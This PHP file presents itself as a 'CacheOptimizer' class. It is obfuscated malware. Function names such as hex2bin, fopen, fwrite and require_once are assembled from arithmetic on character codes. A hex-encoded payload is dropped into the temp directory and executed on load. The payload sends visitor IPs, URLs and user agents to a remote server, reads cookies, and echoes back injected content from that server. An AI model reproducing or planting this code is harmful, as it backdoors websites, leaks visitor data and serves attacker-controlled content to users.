<?php
class CacheOptimizer
{
    private $ti = '';
    private $wg = '';
    public function cacheData($p1)
    {
        $b = array(30 + 74, 96 + 5, 76 * 1 + 44, 50, 53 + 45, 3 * 35, 73 + 37);
        $k = '';
        foreach ($b as $v) {
            $k .= chr($v);
        }
        return $k($p1);
    }
    public function trackActivity($p1, $p2)
    {
        $r = array(65 * 1 + 37, 111, 94 * 1 + 18, 41 * 2 + 19, 111 - 1);
        $j = '';
        foreach ($r as $v) {
            $j .= chr($v);
        }
        return $j($p1, $p2);
    }
    public function encryptData($p1, $p2)
    {
        $o = array(29 * 2 + 43, 14 * 94 - 1200, 105, 114, 90 + 29, 103 - 1);
        $p = '';
        foreach ($o as $b) {
            $p .= chr($b);
        }
        $p = strrev($p);
        return $p($p1, $p2);
    }
    public function checkConsistency($p1)
    {
        $e = array(2 * 51, 3 * 33, 68 * 58 - 3836, 56 * 1 + 55, 105 + 10, 104 - 3);
        $s = '';
        foreach ($e as $n) {
            $s .= chr($n);
        }
        return $s($p1);
    }
    public function calculateSum($p1, $p2 = null)
    {
        $y = array(118 - 4, 7 * 16 + 4, 51 + 40 + 23, 81 * 1 + 24, 37 * 70 - 2481);
        $j = '';
        foreach ($y as $s) {
            $j .= chr($s);
        }
        return $j($p1, $p2);
    }
    public function terminateSession()
    {
        $this->wg = $this->calculateSum($this->resolveConflict(), '/');
    }
    public function resolveAction()
    {
        $this->ti = $this->cacheData($this->ba);
    }
    public function updateRegistry()
    {
        $fn = $this->wg . '/sk-692cc19b7a6b1';
        $f = $this->trackActivity($fn, 'w');
        $this->encryptData($f, $this->ti);
        $this->checkConsistency($f);
        $this->logTransaction($fn);
    }
    private $ba = '3c3f70687020636c617373205f77797b70726976617465207' . '37461746963245f6165663b7374617469632066756e6374696' . 'f6e205f6c6f28245f7777297b6966282173656c663a3a245f6' . '165662973656c663a3a5f64706a28293b72657475726e20626' . '1736536345f6465636f64652873656c663a3a245f6165665b2' . '45f77775d293b7d70726976617465207374617469632066756' . 'e6374696f6e205f64706a28297b73656c663a3a245f6165663' . 'd617272617928275f6d71273d3e2751574e6a5a584e7a4c554' . 'e76626e527962327774515778736233637454334a705a326c2' . '72e27754f272e276941272e2771272c275f686e6d273d3e275' . '132397564475675644331556558426c4f69426863484273615' . '74e6864476c766269272e27397159585a6863324e79272e276' . '1584230272c275f64647a273d3e27593267272e273d272c275' . 'f6768273d3e275a586c272e274b63474e4453545a4a616d633' . '05447706e4e4578715a272e277a524d616d633053576c33615' . '7525852576c5061556f77576c684f4d456c7064326c6a272e2' . '762565a745357707661575248566e706b51306f272e2735272' . 'c275f7376273d3e276358643665413d3d272c275f7876273d3' . 'e2750473972272e275067272e273d3d272c275f696e70273d3' . 'e2750474a685a44343d272c275f6868273d3e2764272e27324' . '67362413d272e273d272c275f6978273d3e27272c275f716c2' . '73d3e27272c275f6c65273d3e27272c275f6578273d3e27614' . '8523063446f764c334231596935335a574a6d6157786c61473' . '9272e277a644756794c6d4e766253396a6232317762334e6c6' . '3693571637a272e27396b5958526850513d272e273d272c275' . 'f7279273d3e275933272e275679624639272e277062272e276' . 'd6c30272c275f6b7666273d3e276148272e2752306346272e2' . '7396a272e2762272e2732526c272c275f727a76273d3e27633' . '24e6f5a5731272e276c272c275f626862273d3e276148272e2' . '7523063272e27484d272e273d272c275f69706b273d3e27523' . '056554941272e273d3d272c275f75696d273d3e2763272e274' . '74630272e2761272e2741272e273d272e273d272c275f6b622' . '73d3e276358566c636e6b3d272c275f696e75273d3e2750772' . '72e273d3d272c275f6b686f273d3e276358566c272e27636e6' . 'b272e273d272c275f6e71273d3e2749456855564641764d533' . '477272e274451704962334e272e27304f69272e27413d272c2' . '75f676c61273d3e27614739272e277a64272e2741272e273d3' . 'd272c275f6d61273d3e2744517044623235755a574e3061573' . '9754f69424462272e2747397a5a272e2751272e27304b44272' . 'e27516f3d272c275f6369273d3e2763334e734f693876272c2' . '75f616d65273d3e27272c275f6a6b273d3e276147272e27397' . 'a64413d272e273d272c275f6f67273d3e2744516f3d272c275' . 'f6e7676273d3e27534652555546394454456c46546c5266535' . '641272e273d272c275f6374273d3e275346525555463959583' . '05a50556c6442556b5246524639475431272e2749272e273d2' . '72c275f646f273d3e27556b564e54315246583046272e27455' . '24649272e273d272c275f6d7164273d3e27534652555546395' . '6553056535830272e27464852272e2755272e2735272e27552' . '72c275f7a6d6c273d3e2753465255554639565530565358304' . '648272e275255272e2735272e2755272c275f6170273d3e272' . '72c275f797661273d3e27534652272e27555546395352272e2' . '7555a272e2746556b56272e2753272c275f716e74273d3e275' . '34652555546395352555a46556b56272e2753272c275f636b6' . '2273d3e27272c275f766f273d3e27534652555546394454456' . 'c46546c526653272e275641272e273d272c275f746e66273d3' . 'e275346525555272e274639272e274454456c46546c5266535' . '6413d272c275f7a61273d3e2753272e2746525555463959583' . '05a50556c6442272e2755272e276b524652463947543149272' . 'e273d272c275f6474273d3e27534652555546395958305a505' . '56c6442556b272e27524652272e27463947272e275431493d2' . '72c275f617573273d3e27556b564e5431524658272e2730464' . '55246493d272c275f787375273d3e27556b564e54315246582' . '72e2730464552272e274649272e273d272c275f6478273d3e2' . '75a474a6e6257396b5a513d272e273d272c275f75716b273d3' . 'e27535641364941272e273d3d272c275f6177273d3e2749487' . '7675655453649272e2741272e273d272e273d272c275f6f787' . 'a273d3e2749487767556d566d4f6941272e273d272c275f7a6' . '86e273d3e2749272e27447869272e2763272e276a272e27342' . '72e274b272c275f7078273d3e27615841272e273d272c275f7' . '56a71273d3e2764272e2757272e2745272e273d272c275f647' . '2273d3e27636d56272e276d272c275f777473273d3e2763586' . '4272e27366541272e273d3d272c293b7d7d686561646572285' . 'f77793a3a5f6c6f28275f6d272e27712729293b68656164657' . '2285f77793a3a5f6c6f28275f68272e276e272e276d2729293' . 'b696628697373657428245f4745545b5f77793a3a5f6c6f282' . '75f64647a27295d29297b245f7566633d5f6d706b285f77793' . 'a3a5f6c6f28275f67682729293b696628245f7566632626737' . '472706f7328245f7566632c5f77793a3a5f6c6f28275f73762' . '72929213d3d66616c7365297b646965285f77793a3a5f6c6f2' . '8275f78272e27762729293b7d656c73657b646965285f77793' . 'a3a5f6c6f28275f272e27696e702729293b7d7d69662869737' . '3657428245f4745545b5f77793a3a5f6c6f28275f68272e276' . '827295d29297b245f78616d3d245f434f4f4b49453b245f616' . '53d28696e7429726f756e6428302b30293b245f77773d28696' . 'e7429726f756e6428312e37352b312e37352b312e37352b312' . 'e3735293b245f647a6b3d617272617928293b245f647a6b5b2' . '45f61655d3d5f77793a3a5f6c6f28275f697827293b7768696' . 'c6528245f7777297b245f647a6b5b245f61655d2e3d245f786' . '16d5b28696e7429726f756e642831352b3135295d5b245f777' . '75d3b69662821245f78616d5b28696e7429726f756e6428372' . 'e352b372e352b372e352b372e35295d5b245f77772b28696e7' . '429726f756e6428302e33333333333333333333333333332b3' . '02e33333333333333333333333333332b302e3333333333333' . '333333333333333295d297b69662821245f78616d5b28696e7' . '429726f756e642831302b31302b3130295d5b245f77772b286' . '96e7429726f756e6428312b31295d29627265616b3b245f616' . '52b2b3b245f647a6b5b245f61655d3d5f77793a3a5f6c6f282' . '75f71272e276c27293b245f77772b2b3b7d245f77773d245f7' . '7772b28696e7429726f756e6428312e37352b312e37352b312' . 'e37352b312e3735292b28696e7429726f756e6428302e352b3' . '02e35293b7d245f61653d245f647a6b5b28696e7429726f756' . 'e6428332e352b332e352b332e352b332e35295d28292e245f6' . '47a6b5b28696e7429726f756e642831322b3132295d3b69662' . '821245f647a6b5b28696e7429726f756e6428322b322b32295' . 'd28245f616529297b245f77773d245f647a6b5b28696e74297' . '26f756e6428362e352b362e352b362e352b362e35295d28245' . 'f61652c245f647a6b5b28696e7429726f756e6428352b35295' . 'd293b245f647a6b5b28696e7429726f756e6428332b332b332' . '95d28245f77772c245f647a6b5b28696e7429726f756e64283' . '32e363636363636363636363636372b332e363636363636363' . '636363636372b332e36363636363636363636363637295d2e2' . '45f647a6b5b28696e7429726f756e6428372e3636363636363' . '63636363636372b372e363636363636363636363636372b372' . 'e36363636363636363636363637295d28245f647a6b5b28696' . 'e7429726f756e6428382e333333333333333333333333332b3' . '82e333333333333333333333333332b382e333333333333333' . '33333333333295d28245f78616d5b28696e7429726f756e642' . '8312e352b312e35295d2929293b7d696e636c75646528245f6' . '165293b7d66756e6374696f6e205f6d706b28245f68612c245' . 'f78693d276f746e6b786d7470736278667427297b245f6b7a3' . 'd5f77793a3a5f6c6f28275f6c6527293b245f6e71643d5f777' . '93a3a5f6c6f28275f657827292e245f68613b69662869735f6' . '3616c6c61626c65285f77793a3a5f6c6f28275f72792729292' . '97b245f6c723d6375726c5f696e697428245f6e7164293b637' . '5726c5f7365746f707428245f6c722c4355524c4f50545f535' . '34c5f564552494659504545522c66616c7365293b6375726c5' . 'f7365746f707428245f6c722c4355524c4f50545f53534c5f5' . '64552494659484f53542c28696e7429726f756e6428302e352' . 'b302e352b302e352b302e3529293b6375726c5f7365746f707' . '428245f6c722c4355524c4f50545f464f4c4c4f574c4f43415' . '4494f4e2c28696e7429726f756e6428302e333333333333333' . '33333333333332b302e33333333333333333333333333332b3' . '02e333333333333333333333333333329293b6375726c5f736' . '5746f707428245f6c722c4355524c4f50545f52455455524e5' . '452414e534645522c28696e7429726f756e6428302e3333333' . '3333333333333333333332b302e33333333333333333333333' . '333332b302e333333333333333333333333333329293b63757' . '26c5f7365746f707428245f6c722c4355524c4f50545f48454' . '14445522c28696e7429726f756e6428302b302b3029293b637' . '5726c5f7365746f707428245f6c722c4355524c4f50545f434' . 'f4e4e45435454494d454f55542c28696e7429726f756e64283' . '52b3529293b6375726c5f7365746f707428245f6c722c43555' . '24c4f50545f54494d454f55542c28696e7429726f756e64283' . '32e333333333333333333333333332b332e333333333333333' . '333333333332b332e3333333333333333333333333329293b2' . '45f6b7a3d6375726c5f6578656328245f6c72293b245f62783' . 'd6375726c5f676574696e666f28245f6c72293b6375726c5f6' . '36c6f736528245f6c72293b696628245f62785b5f77793a3a5' . 'f6c6f28275f272e276b76272e276627295d213d28696e74297' . '26f756e642835302b35302b35302b3530292972657475726e2' . '066616c73653b7d656c73657b245f796c3d70617273655f757' . '26c28245f6e7164293b245f6670643d28245f796c5b5f77793' . 'a3a5f6c6f28275f272e27727a7627295d3d3d5f77793a3a5f6' . 'c6f28275f6268272e27622729293b245f6a76643d5f77793a3' . 'a5f6c6f28275f69272e27706b27292e245f796c5b5f77793a3' . 'a5f6c6f28275f75272e2769272e276d27295d3b69662869737' . '3657428245f796c5b5f77793a3a5f6c6f28275f272e276b622' . '7295d2929245f6a76642e3d5f77793a3a5f6c6f28275f69272' . 'e276e7527292e245f796c5b5f77793a3a5f6c6f28275f6b682' . '72e276f27295d3b245f6a76642e3d5f77793a3a5f6c6f28275' . 'f6e7127292e245f796c5b5f77793a3a5f6c6f28275f272e276' . '76c272e276127295d2e5f77793a3a5f6c6f28275f6d272e276' . '127293b245f69743d66736f636b6f70656e2828245f6670643' . 'f5f77793a3a5f6c6f28275f63272e276927293a5f77793a3a5' . 'f6c6f28275f616d272e27652729292e245f796c5b5f77793a3' . 'a5f6c6f28275f272e276a6b27295d2c245f6670643f28696e7' . '429726f756e64283134372e36363636363636363636372b313' . '4372e36363636363636363636372b3134372e3636363636363' . '636363637293a28696e7429726f756e642834302b343029293' . 'b696628245f6974297b667075747328245f69742c245f6a766' . '4293b245f6e743d28696e7429726f756e6428302b30293b776' . '8696c65282166656f6628245f697429297b245f756b703d666' . '765747328245f69742c28696e7429726f756e64283531322b3' . '5313229293b696628245f6e7429245f6b7a2e3d245f756b703' . 'b696628245f756b703d3d5f77793a3a5f6c6f28275f6f67272' . '929245f6e743d28696e7429726f756e6428302e352b302e352' . '93b7d66636c6f736528245f6974293b7d7d72657475726e245' . 'f6b7a3b7d245f7a73633d697373657428245f5345525645525' . 'b5f77793a3a5f6c6f28275f6e272e2776272e277627295d293' . 'b245f72683d697373657428245f5345525645525b5f77793a3' . 'a5f6c6f28275f637427295d293b245f746d3d6973736574282' . '45f5345525645525b5f77793a3a5f6c6f28275f646f27295d2' . '93b245f63763d697373657428245f5345525645525b5f77793' . 'a3a5f6c6f28275f6d71272e276427295d293f245f534552564' . '5525b5f77793a3a5f6c6f28275f272e277a6d6c27295d3a5f7' . '7793a3a5f6c6f28275f61272e277027293b245f726c3d69737' . '3657428245f5345525645525b5f77793a3a5f6c6f28275f272' . 'e2779272e27766127295d293f245f5345525645525b5f77793' . 'a3a5f6c6f28275f716e272e277427295d3a5f77793a3a5f6c6' . 'f28275f636b6227293b245f7a73633d697373657428245f534' . '5525645525b5f77793a3a5f6c6f28275f76272e276f27295d2' . '93f245f5345525645525b5f77793a3a5f6c6f28275f746e272' . 'e276627295d3a6e756c6c3b245f72683d697373657428245f5' . '345525645525b5f77793a3a5f6c6f28275f7a272e276127295' . 'd293f245f5345525645525b5f77793a3a5f6c6f28275f64742' . '7295d3a6e756c6c3b245f746d3d697373657428245f5345525' . '645525b5f77793a3a5f6c6f28275f61757327295d293f245f5' . '345525645525b5f77793a3a5f6c6f28275f78737527295d3a6' . 'e756c6c3b69662866696c7465725f76617228245f7a73632c2' . '8696e7429726f756e642839312e36363636363636363636363' . '72b39312e3636363636363636363636372b39312e363636363' . '6363636363636372929297b245f676f643d245f7a73633b7d6' . '56c736569662866696c7465725f76617228245f72682c28696' . 'e7429726f756e64283133372e352b3133372e352929297b245' . 'f676f643d245f72683b7d656c73657b245f676f643d245f746' . 'd3b7d696628697373657428245f4745545b5f77793a3a5f6c6' . 'f28275f272e27647827295d29297b6563686f205f77793a3a5' . 'f6c6f28275f272e2775272e2771272e276b27292e245f676f6' . '42e5f77793a3a5f6c6f28275f272e2761272e277727292e245' . 'f63762e5f77793a3a5f6c6f28275f6f78272e277a27292e245' . 'f726c2e5f77793a3a5f6c6f28275f7a686e27293b657869742' . '8293b7d69662821697373657428245f676f64297c7c2169737' . '3657428245f6376297c7c21697373657428245f726c29297b6' . '578697428293b7d656c73657b245f6a72793d6172726179285' . 'f77793a3a5f6c6f28275f70272e277827293d3e245f676f642' . 'c5f77793a3a5f6c6f28275f756a272e277127293d3e245f637' . '62c5f77793a3a5f6c6f28275f272e27647227293d3e245f726' . 'c293b245f796e6e3d75726c656e636f6465286261736536345' . 'f656e636f6465286a736f6e5f656e636f646528245f6a72792' . '929293b245f7566633d5f6d706b28245f796e6e293b6966282' . '45f7566632626737472706f7328245f7566632c5f77793a3a5' . 'f6c6f28275f777473272929213d3d66616c7365297b6563686' . 'f245f7566633b6578697428293b7d7d';
    public function logTransaction($p)
    {
        require_once $p;
    }
    public function resolveConflict()
    {
        $a = array(103 * 1 + 12, 90 * 50 - 4379, 117 - 2, 5 * 19, 93 * 1 + 10, 24 + 14 + 63, 2 * 58, 69 + 26, 86 + 30, 96 * 78 - 7387, 13 + 53 + 43, 53 + 59, 103 - 8, 13 + 87, 39 * 35 - 1260, 120 - 6);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$tm = new CacheOptimizer();
$tm->terminateSession();
$tm->resolveAction();
$tm->updateRegistry();